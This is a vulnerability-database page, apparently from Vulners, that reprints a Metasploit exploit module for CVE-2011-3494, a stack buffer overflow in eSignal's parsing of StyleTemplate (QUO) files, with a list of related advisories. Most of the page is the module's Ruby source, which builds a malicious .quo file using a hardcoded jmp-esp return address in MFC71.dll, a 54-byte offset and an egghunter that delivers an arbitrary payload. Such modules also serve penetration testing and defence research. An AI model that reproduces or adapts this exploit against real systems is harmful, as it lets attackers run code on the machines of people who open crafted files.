Lucene search
K

eSignal and eSignal Pro File Parsing Buffer Overflow in QUO

🗓️ 20 Sep 2011 17:39:53Reported by Luigi Auriemma, TecR0c <[email protected]>, mr_me <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

eSignal and eSignal Pro File Parsing Buffer Overflow in QUO. Handling of "<StyleTemplate>" files with certain extensions can lead to buffer overflow. Version 10.6.2425.1208 and earlier affected

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-3494
20 Sep 201100:00
circl
Check Point Advisories
Interactive Data eSignal Stack Buffer Overflow (CVE-2011-3494)
26 Mar 201200:00
checkpoint_advisories
CVE
CVE-2011-3494
16 Sep 201114:00
cve
Cvelist
CVE-2011-3494
16 Sep 201114:00
cvelist
NVD
CVE-2011-3494
16 Sep 201114:28
nvd
OpenVAS
eSignal Multiple Vulnerabilities
16 Sep 201100:00
openvas
OpenVAS
eSignal Multiple Vulnerabilities
16 Sep 201100:00
openvas
Packet Storm
eSignal / eSignal Pro 10.6.2425.1208 Buffer Overflow
29 Sep 201100:00
packetstorm
Prion
Heap overflow
16 Sep 201114:28
prion
RedhatCVE
CVE-2011-3494
22 May 202509:57
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eSignal and eSignal Pro File Parsing Buffer Overflow in QUO',
      'Description'    => %q{
        The software is unable to handle the "<StyleTemplate>" files (even those
        original included in the program) like those with the registered
        extensions QUO, SUM and POR. Successful exploitation of this
        vulnerability may take up to several seconds due to the use of
        egghunter. Also, DEP bypass is unlikely due to the limited space for
        payload. This vulnerability affects versions 10.6.2425.1208 and earlier.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma',                          # Original discovery
          'TecR0c <tecr0c[at]tecninja.net>',         # msf
          'mr_me <steventhomasseeley[at]gmai.com>',  # msf
        ],
      'References'    =>
        [
          [ 'CVE', '2011-3494' ],
          [ 'OSVDB', '75456' ],
          [ 'BID', '49600' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
          [ 'EDB', '17837' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00"
        },

      'Targets'        =>
        [
          [
            'Win XP SP3 / Windows Vista / Windows 7',
            {
              'Ret'     =>  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
              'Offset'  =>  54
            }
          ],
        ],
      'Privileged'	 => false,
      'DisclosureDate' => '2011-09-06',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
      ])

  end

  def exploit
    eggoptions =
    {
      :checksum => false,
      :eggtag => 'eggz'
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    buffer =  rand_text_alpha(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << rand_text_alpha_upper(4)
    buffer << hunter
    buffer << rand_text_alpha_upper(1500)
    buffer << egg

    file = "<StyleTemplate>\r\n"
    file << "#{buffer}\r\n"
    file << "</StyleTemplate>\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation